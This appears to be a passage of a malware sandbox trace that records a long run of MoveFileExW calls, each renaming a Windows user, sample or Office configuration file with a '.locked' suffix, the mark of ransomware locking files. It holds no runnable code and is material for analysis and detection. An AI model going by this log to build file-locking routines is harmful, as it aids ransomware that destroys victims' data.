MoveFileExW (lpExistingFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat"), lpNewFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.locked" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat.locked"), dwFlags=0x2) returned 1 [0179.241] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\IconCache.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.locked"), dwFlags=0x2) returned 1 [0179.291] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.locked"), dwFlags=0x2) returned 1 [0179.308] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.locked"), dwFlags=0x2) returned 1 [0179.330] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.locked"), dwFlags=0x2) returned 1 [0179.351] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.locked"), dwFlags=0x2) returned 1 [0179.853] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.locked"), dwFlags=0x2) returned 1 [0179.855] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.locked"), dwFlags=0x2) returned 1 [0179.857] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.locked"), dwFlags=0x2) returned 1 [0179.862] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.locked"), dwFlags=0x2) returned 1 [0179.864] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.locked"), dwFlags=0x2) returned 1 [0179.887] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0179.926] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0180.205] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.locked"), dwFlags=0x2) returned 1 [0180.932] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.locked"), dwFlags=0x2) returned 1 [0180.962] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.locked"), dwFlags=0x2) returned 1 [0181.482] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.locked"), dwFlags=0x2) returned 1 [0181.993] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.locked"), dwFlags=0x2) returned 1 [0181.998] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.locked"), dwFlags=0x2) returned 1 [0182.005] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.locked"), dwFlags=0x2) returned 1 [0182.031] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.locked"), dwFlags=0x2) returned 1 [0182.040] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.locked"), dwFlags=0x2) returned 1 [0182.047] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.locked"), dwFlags=0x2) returned 1 [0182.056] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.locked"), dwFlags=0x2) returned 1 [0182.064] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.locked"), dwFlags=0x2) returned 1 [0182.068] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.locked"), dwFlags=0x2) returned 1 [0182.076] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.locked"), dwFlags=0x2) returned 1 [0182.110] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.locked"), dwFlags=0x2) returned 1 [0182.121] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.locked"), dwFlags=0x2) returned 1 [0182.142] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.locked" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.locked"), dwFlags=0x2) returned 1 [0182.151] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.locked" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.locked"), dwFlags=0x2) returned 1 [0182.244] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.locked" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.locked"), dwFlags=0x2) returned 1 [0182.707] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.locked" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.locked"), dwFlags=0x2) returned 1 [0183.350] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.locked" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.locked"), dwFlags=0x2) returned 1 [0183.427] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\\\Users\\Default\\Contacts\\Administrator.contact.locked" (normalized: "c:\\users\\default\\contacts\\administrator.contact.locked"), dwFlags=0x2) returned 1 [0183.997] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.locked"), dwFlags=0x2) returned 1 [0184.505] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.locked"), dwFlags=0x2) returned 1 [0185.076] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.locked"), dwFlags=0x2) returned 1 [0185.581] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.locked"), dwFlags=0x2) returned 1 [0186.171] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.locked"), dwFlags=0x2) returned 1 [0186.672] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.locked"), dwFlags=0x2) returned 1 [0187.265] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.locked"), dwFlags=0x2) returned 1 [0187.809] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.locked"), dwFlags=0x2) returned 1 [0188.304] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.locked"), dwFlags=0x2) returned 1 [0188.820] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.locked"), dwFlags=0x2) returned 1 [0189.540] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.locked"), dwFlags=0x2) returned 1 [0190.061] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.locked" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.locked"), dwFlags=0x2) returned 1 [0191.618] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.access.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.access.config.locked"), dwFlags=0x2) returned 1 [0191.627] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.excel.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.excel.config.locked"), dwFlags=0x2) returned 1 [0191.634] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.graph.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.graph.config.locked"), dwFlags=0x2) returned 1 [0191.645] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.config.locked"), dwFlags=0x2) returned 1 [0191.663] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.xml.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.xml.config.locked"), dwFlags=0x2) returned 1 [0191.670] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.msproject.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.msproject.config.locked"), dwFlags=0x2) returned 1 [0191.678] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlook.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlook.config.locked"), dwFlags=0x2) returned 1 [0191.686] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlookviewctl.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlookviewctl.config.locked"), dwFlags=0x2) returned 1 [0191.695] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.powerpoint.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config.locked" (normalized: 